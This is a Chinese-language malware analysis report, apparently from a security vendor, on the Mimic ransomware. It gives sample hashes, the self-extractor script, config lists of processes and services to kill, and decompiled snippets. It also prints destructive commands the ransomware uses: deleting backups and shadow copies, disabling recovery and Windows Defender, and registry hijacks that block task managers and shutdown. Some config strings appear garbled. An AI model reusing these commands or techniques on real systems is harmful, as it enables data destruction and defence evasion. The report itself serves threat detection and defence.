具有多种功能的勒索软件——Mimic
2023-12-06
威胁等级:★★★★
Mimic勒索最早发现于2022年6月,其特点是利用了合法的文件搜索工具Everything提供的API,通过Everything32.dll中的函数可以对文件进行快速检索,从而大大提高文件加密的效率。并且,该勒索还使用了conti泄露的勒索源码,保证了加密的成功几率及稳定性。
概述
Mimic勒索,最早发现于2022年6月,其特点是利用了合法的文件搜索工具Everything提供的API,通过Everything32.dll中的函数可以可以实现文件快速检索,获得指定后缀格式文件的路径,从而大大提高文件加密的效率。Mimic勒索中还使用了泄露的Conti勒索软件代码实现访问共享与端口扫描,使用CryptoPP库提供的加密算法。不仅如此,Mimic勒索开发者添加了许多额外的功能来保证顺利完成加密。
样本分析
字段 | 内容 |
---|---|
原始文件名 | Mimic.exe |
文件大小 | 2.52 MB |
文件 MD5 | B4448CEDDD85EC0F061F53AB1A977B5E |
文件类型 | Win32.EXE |
病毒名 | Trojan.HiddenRun/SFX!1.EEED |
主要功能 | 释放7za以及everything可执行文件,并且使用密码进一步解压缩关键的Mimic勒索软件 |
初始文件是一个7zip自解压的可执行程序,将在运行后释放其他文件。
图:初始样本为EXE的自解压文件
被释放的文件如下,其中Everything64.dll仍然是一个压缩包,通过7za.exe解压缩进一步释放勒索病毒文件,但Everything64.dll存在解压密码,在自解压的过程中将会自动传入解压密码。
图:释放的文件内容
自解压脚本内容如下:
;!@Install@!UTF-8! RunProgram="hidcon:7za.exe i " RunProgram="hidcon:7za.exe x -y -p3168920970217226645 Everything64.dll" RunProgram="hidcon:TEQ2.exe %SfxVarCmdLine0%" GUIFlags="2+512+8192" MiscFlags="1+2+16" GUIMode="2" SelfDelete="1" ;!@InstallEnd@!
通过释放文件执行的关系可以展示如下
图:Mimic勒索软件文件释放
字段 | 内容 |
---|---|
原始文件名 | Crypt.exe |
文件大小 | 2.10 MB |
文件 MD5 | 7CA770CC5F649256A18623245348F39F |
文件类型 | Win32.EXE |
病毒名 | Ransom.Mimic!1.EEEC |
主要功能 | 运行DC.exe关闭WindowsDefender,使用xdel.exe进行子删除,加载Everything32.dll,加密文件。 |
运行参数
encrypt.exe接受一组命令行参数
命令行参数 | 接受的输入值 | 功能 |
---|---|---|
-dir | 指定要加密文件路径 | 加密路径下的文件 |
-e | ul1或ul2 | 遍历活动的进程创建共享内存,并解除所有进程的文件占用。 |
-prot | - | 保护勒索软件不被杀掉 |
-pid | 进程的标识符 | 指定勒索软件运行的进程标识符 |
配置文件信息
通过初始字符串解密,获得勒索软件的完整配置信息:
排除的文件扩展名 Ext.exclude: ut;386;adv;ani;ape;apk;app;asf;assets;bat;bik;bin;cab;cas;cat;cfg;chm;cmd;com;cpl;cur;dds;deskthemepack;diagcab;diagcfg;diagpkg;dll;dmp;drv;dsf;epub;exe;fnt;fon;gadget;gif;hlp;hta;htm;html;ico;ics;idx;inf;info;ini;ipch;iso;jar;js;json;lib;log;manifest;mid;mod;msc;msi;msp;msstyles;msu;mui;mxf;nls;nomedia;ocx;otf;pak;pdb;pif;ps1;py;pyo;rc;reg;resource;ress;rgss3a;rm;rmvb;rom;rpa;rpgmvo;rpgmvp;rpy;rpyc;rtf;rtp;rvdata2;scr;sfcache;shs;snd;so;swf;sys;tak;theme;themepack;tiger;tmp;torrent;ts;ttc;ttf;h;cpp;unity3d;usm;vbs;vob;vsix;wad;wav;winmd;woff;wpx;wv;xex;xml 排除的文件名 Files exclude: restore-my-files.txt;boot.ini;bootfont.bin;desktop.ini;iconcache.db;io.sys;ntdetect.com;ntldr;ntuser.dat;ntuser.ini;thumbs.db.g;dll;dmp;drv; 排除的文件目录 Dirs exclude: steamapps;Cache;Boot;Chrome;Firefox;Mozilla;Mozilla Firefox;MicrosoftEdge;Internet Explorer;Tor Browser;Opera;Opera Software;Common Files;Config.Msi;Intel;Microsoft;Microsoft Shared;Microsoft.NET;MSBuild;MSOCache;Packages;PerfLogs;Program Files;Program Files (x86);ProgramData;System Volume Information;tmp;Temp;USOShared;Windows;Windows Defender;Windows Journal;Windows NT;Windows Photo Viewer;Windows Security;Windows.old;WindowsApps;WindowsPowerShell;WINNT;$RECYCLE.BIN;$WINDOWS.~BT;$Windows.~WS;:\Users\Public\;:\Users\Default\ 终止的进程: agntsvc;AutodeskDesktopApp;axlbridge;bedbh;benetns;bengien;beserver;CoreSync;CreativeCloud;dbeng50;dbsnmp;encsvc;EnterpriseClient;fbguard;fbserver;fdhost;fdlauncher;httpd;isqlplussvc;msaccess;MsDtSrvr;msftesql;mspub;mydesktopqos;mydesktopservice;mysqld;mysqld-nt;mysqld-opt;ocautoupds;ocomm;ocssd;oracle;pvlsvr;node;java;python;wpython;QBDBMgr;QBDBMgrN;QBIDPService;qbupdate;QBW32;QBW64;Raccine;Raccine_x86;RaccineElevatedCfg;RaccineSettings;VeeamDeploymentSvc;RAgui;raw_agent_svc;SimplyConnectionManager;sqbcoreservice;sql;sqlagent;sqlbrowser;sqlmangr;sqlservr;sqlwriter;Ssms;Sysmon;Sysmon64;tbirdconfig;TeamViewer;TeamViewer_Service;tv_w32;tv_x64;tomcat6;vsnapvss;vxmon;wdswfsafe;wsa_service;wxServer;wxServerView;xfssvccon.lplussvc;msaccess;MsDtSrvr;msftesql;mspub;mydesktopqos;mydesktopservice;mysqld;mysqld-nt;mysqld-opt;ocautoupds;ocomm;ocssd;oracle;pvlsvr;node;java;python;wpython;QBDBMgr;QBDBMgrN;QBIDPService;qbupdate;QBW32;QBW64;Raccine;Raccine_x86;RaccineElevatedCfg;RaccineSettings;VeeamDeploymentSvc;RAgui;raw_agy causG 终止的服务: AcronisAgent;ARSM;backup;BackupExecAgentAccelerator;BackupExecAgentBrowser;BackupExecDiveciMediaService;BackupExecJobEngine;BackupExecManagementService;BackupExecRPCService;BackupExecVSSProvider;CAARCUpdateSvc;CASAD2DWebSvc;ccEvtMgr;ccSetMgr;Culserver;dbeng8;dbsrv12;DefWatch;FishbowlMySQL;GxBlr;GxCIMgr;GxCVD;GxFWD;GxVss;memtas;mepocs;msexchange;MSExchange$;msftesql-Exchange;msmdsrv;MSSQL;MSSQL$;MSSQL$KAV_CS_ADMIN_KIT;MSSQL$MICROSOFT##SSEE;MSSQL$MICROSOFT##WID;MSSQL$SBSMONITORING;MSSQL$SHAREPOINT;MSSQL$VEEAMSQL2012;MSSQLFDLauncher$SBSMONITORING;MSSQLFDLauncher$SHAREPOINT;MSSQLServerADHelper100;MVArmor;MVarmor64;svc$;sophos;RTVscan;MySQL57;PDVFSService;QBCFMonitorService;QBFCService;QBIDPService;QBVSS;SavRoam;SQL;SQLADHLP;sqlagent;SQLAgent$KAV_CS_ADMIN_KIT;SQLAgent$SBSMONITORING;SQLAgent$SHAREPOINT;SQLAgent$VEEAMSQL2012;sqlbrowser;Sqlservr;SQLWriter;stc_raw_agent;tomcat6;veeam;VeeamDeploymentService;VeeamNFSSvc;VeeamTransportSvc;vmware-converter;vmware-usbarbitator64;VSNAPVSS;vss;wrapper;WSBExchange;YooBackup;YooIT
使用Conti源码
Mimic使用了一部分被泄露的Conti勒索源码,如传入命令行参数的功能
图:Mimic与Conti的命令行参数对比
参数net相关的代码也是基于conti源码实现
图:Conti与Mimic的网段扫描对比
使用Conti枚举Windows共享的代码
图:Conti和Mimic的访问共享文件夹
使用conti的端口扫描功能
图:与Conti端口扫描对比
收集操作系统信息
CPU架构,操作系统类型,操作系统版本,内存大小,账户名称,域和工作组
图:收集操作系统信息展示
进程提权
通过AdjustTokenPrivileges调整进程权限。
自启动项
将可执行程序拷贝到%LOCALAPPDATA%目录,随后在注册表路径下创建自启动项。
键:SOFTWARE\Microsoft\Windows\CurrentVersion\Run 值:BLUE
Everything文件搜索
调用EverythingAPI进行搜索和文件加密
v3 = v2 | (dword_5F22C0 != 0 ? 0x10 : 0); print(L"[*] Everything SetSearch..."); v4 = &dword_5EBDAC; if ( dword_5EBDC0 >= 8 ) v4 = dword_5EBDAC; Everything_SetSearchW(v4); print(L"[*] Everything SetRequestFlags..."); Everything_SetRequestFlags(v3); if ( v1 ) { print(L"[*] Everything SetSort..."); Everything_SetSort(14); } Sleep(0x7D0u); print(L"[*] Everything Query..."); if ( !Everything_QueryW(1) ) { v5 = Everything_GetLastError(); print(L"[-] Failed to exec Everything query. LastError = %lu.", v5); ExitThread(1u); } ExitThread(0); }
在启动Everything时,将完全隐藏搜索框和图标。
[Everything] app_data=0 minimized=1 allow_http_server=0 allow_etp_server=0 alpha=1 show_in_taskbar=0 show_tray_icon=0 auto_include_removable_volumes=1 auto_include_removable_refs_volumes=1 auto_include_fixed_volumes=1 auto_include_removable_volumes=1 auto_remove_offline_ntfs_volumes=1 auto_remove_moved_ntfs_volumes=1 auto_include_fixed_refs_volumes=1 auto_include_removable_refs_volumes=1 auto_remove_offline_refs_volumes=1 auto_remove_moved_refs_volumes=1 find_mount_points_on_removable_volumes=1 scan_volume_drive_letters=1
关闭windowsDefender
调用DC.exe关闭windowsDefender,该工具是sordum团队提供的一款免费关闭防火墙功能的工具,Mimic通过该工具提供的命令行参数静默执行。
cmd.exe /c DC.exe /D
图:winDefender关闭工具
终止进程
终止指定进程,加快文件搜索速度
sub_46DF00(0, L"SearchIndexer.exe", 1, 1); sub_46DF00(0, L"SearchProtocolHost.exe", 1, 1); sub_46DF00(0, L"SearchApp.exe", 1, 1); sub_46DF00(0, L"CompatTelRunner.exe", 1, 1); sub_46DF00(0, L"wsqmcons.exe", 1, 1);
终止特定进程,防止遗漏关键的加密数据
if ( sub_453560(v13, L"sql", 3) != -1 ) goto LABEL_50; v15 = v34; v16 = &v34; if ( v12 >= 8 ) v16 = v34; if ( sub_453560(v16, L"backup", 6) != -1 ) goto LABEL_50; v17 = &v34; if ( v12 >= 8 ) v17 = v15; if ( sub_453560(v17, L"database", 8) != -1 || (v14 = StrStrIW, StrStrIW(&First, L"sql")) || StrStrIW(&First, L"backup") || StrStrIW(&First, L"database") )
终止服务
终止指定的服务
StopService(L"WSearch", v8); v216 = v163; StopService(L"pla", v8); v216 = v164; StopService(L"DusmSvc", v8); v216 = v165; StopService(L"defragsvc", v8); v216 = v166; StopService(L"DoSvc", v8); v216 = v167; StopService(L"wercplsupport", v8); v216 = v168; StopService(L"SDRSVC", v8); v216 = v169; StopService(L"TroubleshootingSvc", v8); v216 = v170; StopService(L"Wecsvc", v8); v216 = v171; StopService(L"fhsvc", v8); v216 = v172; StopService(L"wbengine", v8); v216 = v173; StopService(L"PcaSvc", v8); v216 = v174; StopService(L"WerSvc", v8); v216 = v175; StopService(L"SENS", v8); v216 = v176; StopService(L"AppIDSvc", v8); v216 = v177; StopService(L"BITS", v8); v216 = v178; StopService(L"wuauserv", v8); v216 = v179; StopService(L"SysMain", v8); v216 = v180; StopService(L"DiagTrack", v8); v216 = v181; StopService(L"diagnosticshub.standardcollector.service", v8); v216 = v182; StopService(L"dmwappushservice", v8); v216 = v183; StopService(L"WMPNetworkSvc", v8); v216 = v184; StopService(L"DiagTrack", v8);
自我保护
通过修改注册表劫持系统任务管理器。
键:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 值:Debugger 键:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tasklist.exe 值:Debugger 键:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe 值:"ebugger 键:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe 值:Debugger
通过NtSetInformationProcess设置进程的属性为ProcessBreakOnTermination。一旦进程被终止,将会引发蓝屏。
v189 = ld_NtSetInformationProcess; if ( ld_NtSetInformationProcess ) { v216 = 4; *Data = 1; v215 = Data; v214 = 29; v190 = GetCurrentProcess(); v189(v190, v214, v215, v216); }
防止用户关闭或重启计算机
键:Software\Microsoft\Windows\CurrentVersion\Policies\Explorer 值:shutdownwithoutlogon 键:SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 值:NoClose 键:SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer 值:StartMenuLogOff
劫持系统中的指定进程受配置文件影响,被劫持的进程将会指向系统进程systray,进程被执行时将不会导致任何事情发生。
键:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\logoff.exe 值:Debugger 键:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shutdown.exe 值:Debugger
删除系统休眠
powercfg.exe -H off
调整电源管理方案,提高系统性能。
powercfg.exe -SETACVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 7648efa3-dd9c-4e3e-b566-50f929386280 0 powercfg.exe -SETACVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 96996bc0-ad50-47ec-923b-6f41874dd9eb 0 powercfg.exe -SETACVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0 powercfg.exe -SETDCVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 7648efa3-dd9c-4e3e-b566-50f929386280 0 powercfg.exe -SETDCVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 96996bc0-ad50-47ec-923b-6f41874dd9eb 0 powercfg.exe -SETDCVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0 powercfg.exe -SETACVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 7648efa3-dd9c-4e3e-b566-50f929386280 0 powercfg.exe -SETACVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 96996bc0-ad50-47ec-923b-6f41874dd9eb 0 powercfg.exe -SETACVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0 powercfg.exe -SETDCVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 7648efa3-dd9c-4e3e-b566-50f929386280 0 powercfg.exe -SETDCVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 96996bc0-ad50-47ec-923b-6f41874dd9eb 0 powercfg.exe -SETDCVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
调整UAC策略,使得无需弹出提示,并且总是以管理员权限打开程序。
键:SOFTWARE\MICROSOFT\Windows\CurrentVersion\Policies\System 值:ConsentPromptBehaviorAdmin 键:SOFTWARE\MICROSOFT\Windows\CurrentVersion\Policies\System 值:ConsentPromptBehaviorUser 键:SOFTWARE\MICROSOFT\Windows\CurrentVersion\Policies\System 值:EnableLUA
禁用CMD命令行
键:SOFTWARE\MICROSOFT\Windows\CurrentVersion\Policies\System 值:DisableCMD
执行PowerShell代码来停止虚拟机防止加密失败
Get-VM | Stop-VM Get-VM | Select-Object vmid | Get-VHD | %{Get-DiskImage -ImagePath $_.Path; GetDiskImage -ImagePath $_.ParentPath} | Dismount-DiskImage Get-Volume | Get-DiskImage | Dismount-DiskImage
清空回收站
通过调用SHEmptyRecycleBinW清空所有磁盘的回收站,防止从回收站恢复文件。
删除卷拷贝
执行以下SQL查询SELECT * FROM Win32_ShadowCopy
通过DeleteInstance方法删除每个卷影副本对象
CoSetProxyBlanket(pProxy, 0xAu, 0, 0, 3u, 3u, 0, 0)
文件加密
遍历磁盘盘符通过SetVolumeMountPointW挂载所有隐藏的分区。
文件加密将创建多个线程,分别对本地磁盘,共享磁盘分别进行文件扫描和加密,通过RSA与AES算法结合使用对文件进行加密。
加密后的文件将在文件原有格式的末尾添加.datenklause0@gmail.com.blue作为标识。
图:勒索软件加密文件展示
生成勒索信
将登录提示标题和文本修改为勒索信,用户登录操作系统时会显示勒索信内容
if ( !RegCreateKeyExW( HKEY_LOCAL_MACHINE, L"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System", 0, 0, 0, 0x20106u, 0, &phkResult, 0) ) { v6 = &lpData; if ( v13 >= 8 ) v6 = lpData; RegSetValueExW(phkResult, L"legalnoticetext", 0, 1u, v6, v5); RegCloseKey(phkResult);
劫持所有被加密的.blue文件格式,将其指向notepad并打开勒索信。
notepad.exe "C:\Users\Administrator\AppData\Local\IMPORTANT_NOTICE.txt"
勒索信展示如下
图:勒索信展示
删除系统备份
bcdedit.exe /set {default} bootstatuspolicy ignore bcdedit.exe /set {default} recoveryenabled no wbadmin.exe DELETE SYSTEMSTATEBACKUP wbadmin.exe delete catalog -quiet
使用xdel删除自身
xdel.exe -accepteula -p 1 -c
攻击过程可视化(EDR)
瑞星EDR的威胁调查功能为恶意软件威胁溯源分析提供可视化的应用程序关系图,从任意节点进行溯源梳理攻击过程,定位恶意软件关键行为。结合AI对攻击流程进行精准分析,全方位还原恶意软件的完整攻击链。
图:EDR可视化攻击展示
预防措施
1. 部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
2. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
沦陷信标(IOC)
MD5
7CA770CC5F649256A18623245348F39F AC34BA84A5054CD701EFAD5DD14645C9 B04B206674BAB7A4229F34B6AC511903 FC8231D24AF5721342E70A9C5BB770C4 B4448CEDDD85EC0F061F53AB1A977B5E